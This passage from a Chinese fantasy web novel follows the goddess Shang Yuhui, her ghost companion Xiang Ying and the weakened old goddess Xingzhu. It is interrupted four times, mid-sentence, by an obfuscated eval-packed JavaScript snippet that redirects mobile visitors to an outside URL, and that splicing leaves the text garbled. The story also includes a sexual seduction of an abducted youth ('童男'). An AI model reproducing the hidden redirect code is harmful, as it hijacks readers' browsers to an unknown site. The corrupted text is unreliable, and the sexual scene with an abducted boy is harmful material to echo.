他语声中的恼怒和难堪快溢出,还要强忍着说这些,见他如此,商羽徽笑出声来:“好,我自然信你。” 于她面前再度蒙受羞辱,虽比上一回好些,可相盈仍然气得厉害。 他不再出声,闭上眼休憩,总之也不是没有一同休息过,这一点他总是适应了。 商羽徽没再逗他,转身将手搭在他的腰上,二人陷入长久的寂静。 相盈原本不打算入睡,他法力低微,今日的确累了,不知不觉竟当真陷入幻梦。 自己在明月下,凑过去吻她的脸颊,他别开视线,见两人的头发缠在一块儿。 正想着怎么又来了一遍,就听榻上的商羽徽问他:“为何不跪下?” 他正疑惑,却见商羽徽坐起身,头颅变幻成蛇首,阴冷双目注释着他,而后那颗头颅分裂成一只、两只…… “见到我的真身,就该跪下。” “不行!” 相盈猛然惊醒。 山顶洒落的阳光不大晴朗,照在他的手背,似乎早已是白日,他的身旁空无一人。 鬼会做梦吗?鬼会被旁人吓到吗? 优罗山内悄然寂静,相盈推门外出,并没有见到商羽徽的身影,他不知为何松了口气。 阿檀走上来,见他在找人,给他递上些茶水:“红女不在此处。” 相盈抬头望了眼:“她去了哪里?” 阿檀摇头:“我并不知晓。她只说你劳累一日,继续休息吧。” “我不劳累,”相盈纠正他的措辞,转身施施然弹琴去了。 琴弦还是那条龙筋做的,相盈举着谱子,许久不曾按下弦音,又见这根窄细银弦,想起了昨夜两人相缠的长发,再顺着又想到梦中那根分裂成数只的头颅…… 相盈心道寻常妖魔见了如此庄严可怖的原身应当心生爱慕,修士以强者为尊,而商羽徽强得有些可怕。 满腹心绪不宁,琴是弹不下了,相盈走出优罗山,来到海边,负手望远。 商羽徽许久不归,是因她迷路了。 法力高强如商羽徽,自然不会莫名失去方向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13968245|147153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感,她实在是寻人无果,在魔域旁的雪山中没了头绪。 雪山不大,与西地那般严寒比不了,商羽徽并无把握她要找的人就在这里。 怎会衰败至此?她心下惊疑,在雪山之中来回踱步,呼唤:“星姑……” 早知旧神衰败,也不知衰败到今日的地步,若是星姑不在这里,难不成要她到月亮上去寻? 望着雪中的落梅,商羽徽拾起一片,便听得身后传来惊疑之声:“……红女?是红女吗?” 皑皑白雪中,一白袍女人立在她身后,商羽徽走近两步,见头巾下的女人面容寡淡,仿佛随时要被寒风吹散,她同样讶异:“星姑,你比浊悬还要惨烈些……凡人竟对你也不再爱戴?” 星姑瞧起来,年岁近于中年妇人,苍白无力,她握住红女的手,语速极快:“何止是我?当初我以为自己侥幸,如今,却被逼得无路可去了。你何时苏醒?青女不在了?” 提到姐姐,商羽徽应道:“她离开了……我正为此事而来。星姑,姐姐不曾庇护你?” “她已分身乏术,”星姑憾道,“青女一人之力,难以改变这片土地。” 说明来意后,星姑不得不拒绝,自称她虚弱至此,恐怕也不能帮到什么。 二人僵持之后,商羽徽心道这不是办法,星姑总不能一直如此虚弱,遂命方杜去凡间抓来一个样貌清秀的少年童男。 少年被吓得说不出话来,商羽徽带着方杜走远了些。 方杜全然不知这座小雪山上还有昔日旧神,脑海中也完全不认识这号人物,她好奇道:“这位是什么神仙?” 商羽徽缄默:“你不知道要好些。” 雪中,星姑走向清秀少年,蹲下身与他平视,温柔地替他拭去雪花。 “你不必害怕,我并非妖鬼。” 少年睁开双目,见她虽五官平平,却格外温柔,至少比先前两个可怖的女人好多了。 他茫然:“为什么抓我来此处?” 星姑并不言语,只将他抱在怀中,一遍遍安抚他,直到他彻底放松,不再害怕。 少年察觉到她的容貌变了,好似在一瞬间变得很美,就像他邻窗的姑娘,笑起来时脸颊上有个酒窝,他曾爱慕过她。 怎会如此?他很困惑,可挨得这样近,他的脸红了,姑娘将唇贴上了他的。 星姑低声问他:“郎君喜欢‘我’么?” “喜欢的,喜欢。” “郎君爱‘我’么?” 衣衫落在了雪地之上,只有少年一个人的影子。 “郎君是否会顺从‘我’?臣服于‘我’?” 他不知晓臣服是何意,只本能道:“会的,会的。” “那,”那张面孔在眨眼间变了千万种模样,声音从四面八方而来,“你,会崇拜敬仰于我么?” 少年不知应下的结局是什么,他浑身发烫,忙不迭地点头:“我会。” 而后她发出一声喟叹,将他抱得更紧,不知什么东西遮住了他的双眼。 恍惚中只看见她的身躯变得庞大,自己又变得格外渺小,渺小到不值一提,渺小到她张开双腿,他变成了她的信徒,进入到他来时的地方。 16. 月台 商羽徽和方杜在等待的间隙中,一同去了趟魔界。 她没有想到方杜平日大大咧咧,真正掌权时雷厉风行。 自从空桑疯了,魔界上下懈怠不少,自上而下的魔族不是去了妖鬼界,就是流窜在各处,从前的武将也流失在外。 方杜昨夜一回到魔域就下令,让人把叛逃出的魔族抓回来,她不曾合眼,此刻当着商羽徽的面,将归来的魔将狠狠斥责,而后重振军心,立下宏图大业——先攻下妖族,再攻下仙族,最后一步步吞并六界。 听起来很武断,也过于潦草,果不其然有魔将发问:“魔尊大人,仙界会眼睁睁看着我们欺负妖族吗?” 须知六界互相制衡乃是众人心照不宣的事,打打杀杀并不少见,可真要灭了某一族,其余几界不会同意,深谙唇亡齿寒之理。 方杜点头:“你的顾虑是对的,但今时不同往日。” 众人的目光悄悄忘向商羽徽,心下默默了然。 方杜的魔尊之位,虽有狐假虎威之嫌,可她本人并不在乎,实权在手里,何需管旁人怎么说?更何况如今她的修为大有长进,在魔域也站得住脚。 一连下了几道命令,又严格颁布魔界律法,忙完一箩筐的事,方杜和商羽徽重新折返雪山。 路上方杜实在好奇:“她要吃了那个少年吗?” 从前有些古神会吃掉凡人,和祭祀同一个道理。 商羽徽不怎么想透露星姑之事,瞧着方杜,坚定而严肃道:“比那庄严太多。” 总之,二人回到雪山时,少年已消失得无影无踪,只有星姑一人独在立在梅树下,她仍裹着白袍,面容比先前真切几分,不再宛若一道虚影。 但也仅此而已了,方杜很难从她身上看出她曾是一位旧神,浊悬当日显出原形,虽躯体腐朽,可仍然叫人感到难言的威压。 “红女,”星姑见商羽徽回来,先谢过她,“让你见笑了。” 她的话让商羽徽愁容满面:“有何可笑?灵气溃散,凡人不再忠诚于你,你也是不得已而为之。” 星姑欲要开口,望见商羽徽身后的方杜,二人借一步继续说话。 她愧疚:“青女在时,不愿让我这样做,她宁可用自己的灵力填补天地运转……” 虽早有所料,商羽徽真切听在耳中,还是感到不可思议:“她宁可做到这个地步?” 只可惜她一个人的功体,怎么能填饱这些凡神,星姑情难自己,泣道:“我想,她也是走投无路,才会如此。倒是我们,枉为神明……” 这泪是为六界苍生而落,还是为了别的? 商羽徽蹙眉:“不必哭了,六界情形你心中自有定夺,正因如此,我才希望你帮我。” “我并非不愿,”星姑与青女相处过,她很不解,“我只知当日青女不惜重伤你,也要将你封印。如今她神魂消散,也不肯让你找到天灵珠,说明在她心中,比起你的复生,她更不想让你寻到天灵珠,红女,你要天灵珠做什么?” “打破隧道能召来魔兵,但你,并不需要这些啊。” 商羽徽颔首:“我不需要魔兵相助,但我得用天灵珠帮我直上虚空月台,控制六界。” 这话是星姑想都不曾想过的,她睁大眼,连连后退:“不……不,你不应如此。” “这样更好,不是么?”商羽徽早就料到星姑的反应,当初她向青女如此提议,姐姐也是如此。她诚恳道,“若非这些人如此待你,你怎会落到今日地步?浊悬如此,你亦如此,那样多的旧友离开世间。” 她说话时露出哀伤的神色:“我只是想要一切回到从前那样,不想再继续这无尽的痛苦。” 星姑对她的话将信将疑,更恐惧的,是她无法承认这番话的后果,正欲拒绝,却听商羽徽又道:“我可以了结你,但我不想如此,我们是朋友。” 活了太久,敌人也会变为朋友,孤寂的岁月中,只要能说上几句话,好似就成了同盟。 煎熬的挣扎后,星姑闭上双目,松了口:“我帮你,但我不能确保,她的血脉俱成功转世了。” 商羽徽的猜测与青女曾经的造物有关。 当初她为了割断与丹荣的联系,找到星姑。 星姑虽无造物生育之力,却能将生出灵魄的造物编造出亲缘线,而商羽徽让星姑割断了丹荣与自己的那一条。 丹荣失去了记忆,进入轮回。 不仅是丹荣,商羽徽与青女本就是姐妹,她放弃感知自己的血脉,同样对青女的所造之物感知很是薄弱,青女若要躲着她、避开她,这就是最好的办法。 青女一向仁爱,此刻商羽徽望着眼前的星姑,不得不揣测是否是刻意让星姑变得虚弱不堪。 她的仁慈,有时难以两全。 星姑妥协:“我即便愿你帮你,也无法在一夕之内完成。青女造育过的生命太多,我若在她的孩子中寻找摸索,须得神力不少……凡人早已不再尊崇我。” 这是一桩大事,星姑与浊悬这样的旧神无法靠她过渡神力来恢复,商羽徽瞧了眼远处的魔域,轻声道:“我复生时,被人界百姓所见,如今凡人再度知晓了我们的存在,他们畏惧我,这正是你重返人间的好时机。” “哪有这样容易?”星姑很难乐观,“乱世时,凡人胡乱上香供奉,引得大地之上邪神四立,却仍然无人念起我。” 商羽徽一想就知问题所在:“你和姐姐一样心慈手软,不杀两个人,凡人怎会对你心服口服?天下太平时拿佛珠念着众生平等,一旦战火四起,他们拜的不是神,是身家与财富。” “可……”星姑叹气,“可若是如此,还能算得上神么?” 分明自身都要堙灭,竟还想着身为神的品格,或许这就是自己与她们的不同,在百姓眼里,这样的神才算伟大——而商羽徽绝不算在其中。 这是一桩半推半就、不做也得做的事,星姑并无选择的余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13973131|147153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地。 商羽徽带着星姑走出雪山,暂且不打算交到方杜手中,她只介绍道:“这位是从前的日月星主。” 这个名号,方杜仍然不曾耳闻过,但想到是主上的旧友,来历定然非同小可,她尊敬道:“星主。” 许久不曾被人唤过尊称,星姑微笑之余,心中忐忑而又不安,她并不知道助纣为虐是不是对的,若青女还在,会对她失望吧? 红女并非恶神,她只是……行事极端了些。 追随她,就是与青女曾经的希冀背道而驰,可眼下容不得她多做打算。 将二人的身份都介绍过去,商羽徽瞧了眼方杜,算了算时日:“你若要攻打其余六界,还是先缓缓,这几日你会受劫。” 没有商羽徽出手帮忙,仅做震慑,方杜不敢掉以轻心:“如今仙族手忙搅乱,自顾不暇,我此刻发难,乃是绝佳时机,就是天劫落下来,我也能咬牙挺过去。” 商羽徽不懂打仗的谋略,她一向武力碾压,极少在这种事上动脑筋,见方杜如此强硬,她叹服:“可见你满腔热血要攻打六界,否则我也不会让你当上魔尊。” 一只在六界中不起眼的渡鸦,受些点化都知晓要抓住时机,商羽徽奉劝星姑也如此。 她不曾让方杜照顾星姑,只先说了大概的计划,转而带着星姑回了一趟优罗山。 剪断红线,并不是用神力莽撞行事即可,需得在命真水中滴入双方精血,以作盟誓,这线再要牵回来十分困难。 此事过去了太久,星姑甚至难以记起:“似乎只有小枝与你这样做过,我当初还劝过你们二人,都不曾听我的。” 商羽徽瞧起来很失落:“人人都说她更像姐姐,脾气也更像,她说不愿做神仙,偏偏要当个凡人,我只好让她如愿。” 眼睁睁看着小枝日夜煎熬,与商羽徽的初心有所违背,二人宁为玉碎不为瓦全,只是没想到能屡次碰见。 她从未去打扰过转世后的小枝,无论她过得如何、无论她是何身份。 许是知晓此事乃是她的逆鳞,星主再过多言语。 一路回了优罗山,商羽徽径直带着星主去往后山的石室,其内仍然死寂,青棺独立。 见此情形,星主优柔寡断:“今日我恢复了不到一成,就算替你试过,也未必能找到……青女不可能将神魂尽数分散,关于她曾经的孩子,你可有头绪?” 青女对孩子们的宠爱一视同仁,过去商羽徽并不关注,她转念想到:“她从未表现出对谁的偏爱,莫非也是为了今日?” “既没有最偏爱的,那就挑选合适的。”星主望向青棺,“你为何不怀疑丹荣?我若是青女,必先附在丹荣身上,因你对这个失败的造物敬而远之……不是么?” 商羽徽眉心一跳:“她并不失败,我只是不想见她。” 星主无法强迫商羽徽,她望着自己的掌心,无力道:“眼下最要紧的是,我必须要恢复往日功体。” 17. 昨夜 旧神的功体来自于天下万民的信仰与爱戴与天地灵气流转,无法后天修炼,星主想重获修为,最简单的法子,就是前往人界为她立起祠堂。 立祠堂容易,让人真心爱戴她却不是外力能干扰的,商羽徽让星主暂且陷入沉睡,于沉思中回到了泉溪旁。 相盈坐在溪水旁改动琴谱,商羽徽回来时,看都不曾看他一眼,见她带了个身形单薄的女人回来,相盈暗想她定然有什么大事。 他凝着她,想起昨夜之事,又将脸转向一旁,倒是商羽徽主动坐在他身旁,伸手随意拨动几下。 “相盈,”她问,“你信奉过神明吗?” 意料之中,相盈摇了摇头:“我从不相信这些。” 一个从来不信鬼神之说的少年,死后却化成了鬼,这世间百态就是如此滑稽。 商羽徽本也没指望他会信这些,苦思冥想一番,她又问:“你身旁也无人信奉?” 相盈思索良久:“我病重时,母亲会去庙中看望菩萨,这算么?” “算。” 就是不知拜的是哪个菩萨,还是没让相盈活下来,凡人有时会有这样真挚淳朴的发愿,让诸神不忍。 商羽徽忽然想到相盈的过去,问他:“你死得这样早,死后,你的母亲应当还在世。” “所言不差,”相盈的面容很平静,眉梢柔和下来,“我刚化为鬼时,并不像如今这般来去自如,许多时候会吓人一跳,但我不过是想弹琴……后来日子久了,我不仅能如常人般出现,还能与母亲说上几句话,一如我生前。” 她前去西地时,不仅没有见到相盈的母亲,也未曾听说他有什么家人,对此,相盈解释道:“西地太冷,母亲的身体也不好,与家中长辈一同搬离。” “我死了,她们应当有新的打算。” 此鬼平日谈吐间有几分难以遮掩的恶毒,但在此事上倒很豁达,商羽徽久久不语,相盈以为她是替自己想得入神了,嗓音又轻了些:“过去许久,我已忘了。” 商羽徽仍旧沉默,相盈只好问:“你怎么问起供奉之事,是想要百姓跪拜你?” 她终于开口,用奇异的眼神望着他:“你怎会这样想?” 想起她今日带了个女子回来,相盈道:“是为了那女子?” 再也没有旁的缘由了,只可惜,相盈在此也毫无经验,他只记得做凡人时的事。 “我想得很简单,若要让人对她供奉她,动用些许武力即可,”商羽徽自个儿否了这念头,“我若是强行逼人供奉,想必是适得其反。” 相盈:“百姓所求,无非是安居乐业,身体安康。” “我会不知?”商羽徽眨眼:“她不管这些。” 苦思也无果,她沉痛道:“难不成,我真要将星主变为一个恶神。” 她随心所欲惯了,面对昔日旧友,却不免想手下留情,更不愿将人变得面目全非。 可转念一想,为成大业,届时恐怕连同青女的孩子都得杀几个,仅仅将星主变为恶神,算有错吗? 商羽徽心中纠葛,相盈不知她的打算,问:“你若如此纠结,不如去凡间看看。” 去一趟凡间不难,商羽徽心不在焉地应了一声,心道此事只能从长计议……总归她已经等了上万年,还差眼前这一时么? 更要命的是,她并不愿意去探究星主所说有关丹荣之事是真是假。 若是真的,难道她甘愿把丹荣的心剖出来,再拉扯出她的神魂,就如同杀掉一个陌生人。 当初她前往海角崖时,并不曾细细探究,空桑就更指望不上,丹荣身上是否有姐姐的残魂,商羽徽没有十足的把握,若是有呢?她要立刻下手,或是让旁人下手? 亲手杀了丹荣让她难以抉择,让旁人动手更使她暴怒。 商羽徽示意相盈凑到她身边来,她第一回在他面前露出这样伤心欲绝的神情:“相盈,难道我注定是个恶贯满盈之人?” “什么?”相盈还道是听错了,她已拉着他的一只手臂,将脑袋枕了上去,他不习惯这样的动作,话语十分冷硬,“你……你很善良……” 他说完才意识到自己扯了一个多么虚伪的谎言,就连远处扫地的阿檀都投来一个探究的眼神。 偏偏商羽徽听进去了,还谢过他:“我亦是这样想的。” “我所作所为,都是不得已而为之,其实我的心底十分牵挂六界众生,”商羽徽一口气说完这些,面不改心不跳,哀伤道,“为了成就我的大业,我若是杀了我的至亲,你会觉得我残忍么?” 相盈未曾想到丹荣,他只当商羽徽所言的乃是故去的神女,遂劝解道:“你不是一早就是要杀了神女么?六界中,得道者鲜少有如你这般看中亲缘之人,弑兄弑父者不在少数。” 这位天魔杀人如麻,为数不多的软肋就格外看中血脉,相盈发现过几回。 这话误打误撞让商羽徽想开了些,她都做好打算,若有必要会连同青女一块儿抹去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13973132|147153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,更何况一个丹荣? 成大业者,焉能毫无取舍,若有必要,就是她自己的命,一样可以拿去。 “你说得不错,”商羽徽幽幽道,转眸看向他,“而且,她已没了记忆,并不是我从前认识的人。既然没了与我的经历,真走到那一步,我也无需手软。” 原来她说的是丹荣,相盈认同她的话:“你说得不错,没了记忆,谈何羁绊。” 商羽徽抱着他,撩起他的一缕长发,合上双目:“你要记住今日所言。” 除开夜间一同休憩,这已是二人最亲密的模样,相盈手足无措,不知该碰她哪里,干脆将手撑于身后,任她靠着自己。 长发触碰到一块儿,他又不合时宜地想起昨夜那轻轻一触,想来真是叫人诸多感慨……他后知后觉地想,这算不算吻了她? 她在外睥睨六界,却被他这样不足挂齿的念灵取悦了一瞬,先前被他按捺住的想法,又在脑中乱作一团。 要不要问问她?尽管他心中不大情愿,不过也没有全然的反感,相盈有时甚至困惑,他不明白自己有何理由反感商羽徽,此神在六界中叱咤风云,还愿意偶尔分神哄他,对他很是不错。 而后他又会为这种念头感到不可理喻,在心中鄙夷。 趁二人抱在一起的功夫,相盈能看见她的脸,初见时觉得她模样诡异,今日瞧出些不同,譬如她的眼睛实在特别,分明是圆眼,却因过冷的神色和漆黑的瞳仁,显出蛇性。 他主动问她:“昨日夜里……你感觉如何?” 他向来对商羽徽说起话有些阴阳怪气,难得这幅难以启齿的模样,商羽徽却全然不知他所言:“昨日夜里?昨日夜里怎么了?” 他当她又在戏耍自己,耳根微微红了,又因她的遗忘而不悦:“就是,就是亲的那一下。” “这个啊,”商羽徽听明白了,这才有些记忆,“一点感觉都没有。” 她所言不虚,本来二人都冷得如冰块一般,相盈又满目恨意地亲她,好似恨不得在唇上下毒把她毒死,商羽徽只顾着笑他像个被拔了牙的老虎,压根不曾细细感受。 “你!”相盈又被她刺激到了,立刻闭上了嘴。 商羽徽自认冤枉:“谁叫你一脸怨夫模样看我,只贴了一下就离开,你指望我有何感触?” 接连在她身上吃亏,相盈不肯和她争论,无论如何也不打算开口。 商羽徽只以为他脸皮薄:“无妨,这种事一回生二回熟。” 18. 过去 相盈从不认为商羽徽会与他一回生二回熟,她几次让他解衣,不过是为了戏谑。 被商羽徽抓去的美人中,每个男人都自认为要被当为男宠,外人也是这样猜测,事实上多数人在商羽徽眼里只是宠物和摆件,谁会与摆件行亲密之事? 但想起她口中曾有过伺候她的人皇,相盈又心生微妙。 商羽徽不知他脑海中又绕了什么奇思妙想,她只是伸出手,环住相盈的腰,紧了一紧,而后又松开。 静谧的山洞之中,两人谁也没有说话,商羽徽将手比出一个大概粗细,思路跳跃:“很细,一掐就断了。” 他想起商羽徽徒手杀了一条龙,在他面前挑出龙筋的模样,对她的能力并无质疑,只感觉她奇怪:“你为何突然说这个?” 商羽徽摇头:“只是察觉到人很脆弱。” 脆弱?相盈扯了扯唇角:“在你眼里,谁不脆弱?” 恐怕谁都不够她出第二招了,至少在相盈眼中,世上再没有人比她更强。 商羽徽重新站起身,墨色衣摆在相盈眼前轻晃了一旋,褶间发出森然冷光。 她没有接相盈的话,只继续说:“过去的人太脆弱,才会造出不同的神,如今他们不需要,这些神就衰败了。” 又是关于她的过去,相盈心中很好奇,不仅是因为她,更因为这些故事过于神秘,所传下来的故事甚少。 他仍坐在琴边,忽而想到:“既如此,你应当也曾享受凡人祭拜与供奉。” “不错,”商羽徽直言不讳,“但那是许久之前的事了。” 妖魔鬼怪于凡人而言曾不过是笑谈,百姓平日虔诚拜见的神仙多来于口口相传的神话,这些神仙的由来与传说被记录在古籍中,香火绵延至今,其中是否会有商羽徽的化身呢? 相盈的疑惑在夜间得到了解答,星主苏醒后,来到了山洞内。 与浊悬相比,这位神的身上不带任何威压,目光柔和温暖,恍若能包容一切。 商羽徽要与星主谈话,阿檀备了些茶水,星主接过杯盏时,瞥了眼阿檀,了然:“这也是神女的造物?” 他没有灵魄,外人一瞧就知,商羽徽颔首:“他在此等待了姐姐多年。” 星主若有所悟:“倒是许久未见这般的神侍。” 洞内就这样大的地方,二人谈话不再有所顾忌,阿檀跪行到一旁,相盈也只是坐在桌侧,没有开口。 商羽徽问道:“休憩得如何?” 她明知故问,星主叹息:“我谈何休憩,不过是为了逃避神体损耗。” 即便得了零星的供奉,也无法填补她万年来的亏空,更何况来路不算光彩,星主面露难色:“如今我与你不得不同坐一条船,可如何重修神庙,却不得而知啊。” “你只是不忍心而已。”商羽徽提醒她,“多年前你的神山上,神侍仙童成群,身着彩衣结伴而行,凰鸟纵列,使永夜的山峰亮如白昼,信者络绎不绝。至阴之神星主,你本有着星移月换之力……如今却要因为凡人的忘恩负义,在山中苟活。” 往昔的情景星主甚少回忆,至阴之神,已经千万年不再有人如此唤她。 星主仍想说些什么:“凡人对我的崇拜,方能造就于我,我亦为他们提供庇佑,其实,这不能责怪六界。” “你和青女,终究是不一样的。” 对于她的心软,商羽徽并无意外,只冷淡道:“你对凡人仁慈,凡人对你却未必。烈阳神亦是后天之神,但他消散前,凡人的信仰将他供于高处,让他化为碎片,融入六界神魂,所谓恩泽大地。” 提及恩泽二字,商羽徽脸上难免讥讽:“他带来的恩泽不如其余神的万分之一,竟也配得上这两个字。” “仁慈的结果,你已经瞧见了,青女曾经的功体比我更甚,如今消散到无处可寻。” 她们的仁慈还不够多吗?难道要再仁慈万万年,等待这些凡人开窍? 星主默然:“我怎会不知?” “我不愿逼迫你,”商羽徽主动握住了她的手,“好好想想我的提议,这比你在无尽的等待中继续蹉跎要更好,更何况我不会杀了这世上所有人,我只是想让他们过得更好。” 星主望着商羽徽伸来的手,姐妹二人容貌不同,手上微冷的触感却很相似,同样的瘦长有力的指节,紧紧握着她。 她在沉默中,终于说起了些别的话:“杀了世间所有人?你已试过了。” 知道商羽徽随手就会杀人,却不知有此程度,相盈惊异地望向她。 她回忆:“是有这样一桩事,我记不得了,姐姐不断阻止我。” 一旁的阿檀适时开口:“第一回,你屠了一个村庄,第二回,你又屠尽了一座城,第三回更夸张些,你不仅用结界围起旧国将人尽数杀光,还将地界内的仙妖尽数屠尽,血流成河……主人为此与你争吵。” 凡事总有缘由,相盈很想知晓,可惜商羽徽和星主的谈话中并未谈及此事,也不曾明言她最终的目的。 “能否别把我说得这样残酷?”石室内几人目光各异,商羽徽开口辩解,“我想试试这种办法能不能救下更多百姓,只可惜结局不尽人意。难道我天生就杀人成性?” 星主轻笑:“这倒不是,你……曾经一心为凡人着想。” 只是这份初心不知不觉消散,为求解脱之道,红女行事愈发极端。 得到证实,商羽徽摸了摸相盈的手,伤怀道:”莫非我动手时内心好受么……就算我好受,那也是逼不得已。” “为什么这样做?” 听到如此血腥的往事,相盈依旧不曾害怕,他很好奇这些过往。 以往潋滟的双眸中如今露出懵懂不解的神色,商羽徽看着他的眼睛,笑着说:“失败的尝试,不必多问。” 她不介意对他好,却不愿意告诉他更多的事,相盈收回手,脸色冷了几分,商羽徽又道:“不告诉你,是为了你好,你这样脆弱,知道得越少越妙。” 星主原本不曾仔细端详相盈,见商羽徽对这少年多了两分耐心,才将视线一同转过去,半晌后,她惊讶:“这位少年长得很像当初你追随你的侍者。” 商羽徽想不起来是哪位,疑惑:“是吗?我怎么不记得有这样的人物。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14019631|147153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你沉睡太久,想不起当年的许多事了,”星主又打量几眼,说得更笃定,“身形很像,下半张脸也很相似,可惜不似这位年轻,五官上要逊色不少。” 相盈不知自己是喜是悲,他似乎成了某些人的更优秀的替代,只听得商羽徽在一旁道:“这些你倒还记得,怎就偏偏记不住凡人如何对待你?” 她时常如此,平日不爱在口头上为难别人,不过真要争论起来,谁也别讨到好处,相盈早已请教过,今日见有旁人和自己一同遭殃,一时忘了星主口中所言的过去。 星主也被呛了一瞬,旋即柔声:“就知你记仇。” 相识多年,二人都没有要翻脸的意思,处事不同,尚不足以威胁到商羽徽,她心知星主仍在动摇,不够坚定,并不想逼迫她。 “这段时日你好好休息,我会替你想办法。” 饮完杯中最后一口,她欲要结束这场谈话:“我已经等待了太久,此刻最多的就是耐心。” 她难得展颜,那微笑看起来却不像多友善,反倒让人听得心中发冷。 相盈抬头瞧了一眼山顶,再回眸看向商羽徽。 多数修士和妖魔的寿命都是几百年,其中佼佼者或许能活成千上万年,渡善元君已是其中翘楚,却仍然够不上青女与红女的零头。 数万年的寿命在口头念一遍多么轻飘,岁月也可以变得无足轻重,但真正活了这样久,久到一觉醒来这世间不再有人记得自己,却还没有忘记她的执念——她究竟想做什么呢? 相盈想知道,于是夜间赏海时,也就直接问了。 尽墟海依旧漆黑一片,水中发出的诡异蓝光轻盈一团落在商羽徽脸上,她转过脸来看向相盈,状似困惑:“你为什么想知道?” 相盈心想在她面前嘴硬争吵倒不如坦诚些,索性直言:“我想知道你的事情,还有过去的事。” 商羽徽盯着他的脸,不知在想什么:“你不怕我,一点也不。” “你地位尊崇,待我还算不错,换做旁人爱慕还来不及,我何需怕你。”相盈面容如常,说出来他这些时日的感受,“你只是性情古怪了些。” “你性情未见得有多好,”她收回视线,再度望向海面:“我问的不是这个。” 在层层海浪的追逐中,商羽徽向前走了两步,他又一次看着她的背影,尽量让自己生冷的语气能够变得柔软一些。 “你们的过去总要有人知晓,世间所有人都是如此,”他想起一件惋惜的事,“若神女不能复生……她知晓你的全部,若是没有她,世上就再没有人真正了解你了。你为何从不愿与人诉说?” 所有修士都毫不吝啬地分享他们的经历,每一步都要说得很清楚,在西地时,路过的精怪与修士都是如此。 商羽徽只是顺着他的话往下想,自讽道:“没错,青女是我的镜子,但她不愿承认我,旁人也不配知晓我的过去。” 相盈张了张口,再也没说什么,此女骨子中的自大一点也改不了。 他沉默,二人身旁就只剩下海浪迅疾翻涌的声响,无休无止,不知要翻涌到什么时候。 19. 癖好 不知是否这场谈话让商羽徽有所触动,商羽徽提出要带相盈去魔域见一面传闻中所谓的琴魔。 上回说要去见此人,却因要前来优罗山而耽误,多日过去,相盈差些都忘却此事,没料到商羽徽会主动提及。 他望着她,心绪复杂:“你还记得。” 商羽徽站在他面前,怀里抱着一条小蛇,理所当然道:“既答应了你,自然会带你去。” 于她而言只不过是举手之劳,相盈暗笑自己想多了些,抱琴随商羽徽外出。 优罗山除了偏净以外,终究是坏处更多一些,譬如天光昏暗,时常难分昼夜,也不知自从上回出来后,究竟过了多少时日。 曦光柔和落在相盈的肩头,一路往前只觉天开云阔,临近魔域时,却听得两个守卫禀告方杜带领魔兵前去攻打妖界,昨夜就已动身。 商羽徽听罢,不甚在意:“我来找你们魔域的那位琴师。” 守卫又道:“琴魔?他也一同去了!” 来得实在不巧,商羽徽原本无意插手,不过已动身外出,她还是带着相盈去了趟妖界。 比起魔界,妖界就显得落魄得多了,虽效仿从前的扶桑洲建了些楼宇,但只学了三成功夫,又因地界甚小,显得不伦不类。 妖族少主是只孔雀精,带着人与方杜僵持了许久,商羽徽到时,双方已打了数回,妖族显然落于下风,一圈圈将少主围住,但外围已倒下不少尸体。 正在打斗的两拨人忽感到一阵令人晕眩的威压,风中吹来冷意,众人停了手,就见黑色虚影中走出的商羽徽和相盈。 魔族的人最先反应过来,跪地高呼:“魔主!” 听此名号,众妖本能护住少主,在畏惧中想要撤离。 商羽徽扫视了一眼,怪道:“方杜何在?” 一个魔将跪行上前:“魔尊昨夜受了天劫,在营内运功恢复。” 难怪昨夜出兵,到今日还没打完,方杜此人是急性子,等闲不会拖这样久。 商羽徽挥了挥手:“你们继续。” 她本就不想管这些,正要叫人先把琴师给提上来,就听得一声“主上”。 方杜耳闻到外面的动静,自营内缓步走出。 她神情紧绷,脸容苍白,腰背虽挺得很直,但指尖仍在微微颤抖,可见并未全然恢复。 受天雷之劫不是小事,她还有余力已让商羽徽惊讶,方杜强行稳住内息,问道:“主上怎么来了?” 